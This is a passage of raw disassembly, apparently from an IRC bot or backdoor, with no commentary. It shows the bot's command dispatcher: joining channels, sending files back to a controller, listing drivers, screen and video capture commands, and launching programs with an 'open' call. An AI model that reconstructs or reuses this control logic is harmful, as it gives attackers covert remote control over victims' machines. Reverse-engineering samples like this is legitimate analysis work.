10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2640BBCh test eax, eax jnz short loc_40844C push offset unk_429FE0 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FC4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h call near ptr 2680000h nop push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429F8C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h nop call near ptr 2660000h jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj nop call near ptr 2660882h push eax push offset dword_429F50 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F08 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax call near ptr 2660000h nop loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429EE4 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429ECC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429E98 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E64 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h call near ptr 2660000h nop jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj nop call near ptr 2660882h push eax push offset unk_429E28 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429DFC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 2660000h jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 2660882h push eax push offset dword_429DC0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DB8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DA4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B460 push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429D88 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429D80 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D64 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DB0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEBC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D48 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D20 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D14 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2660000h push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D00 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A434 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429CE4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CC4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CA4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429EF8 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429C7C push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C4C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C30 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429BFC push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BCC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429B90 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFA4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B60 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B38 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B04 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429AD0 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429A98 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A64 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A24 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_4299E4 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299C0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_42999C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_429998 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42996C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429954 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429934 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429918 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429900 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h call near ptr 2660000h nop jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j call near ptr 2660882h nop push eax push offset unk_4298C0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298A8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429884 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 2660000h jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] nop call near ptr 2660263h test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429868 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A070 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429844 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429814 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297C4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF2C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297A4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CAFF8 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB000 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_42977C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429754 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAEE0 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429734 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429710 jmp loc_406CCF ; 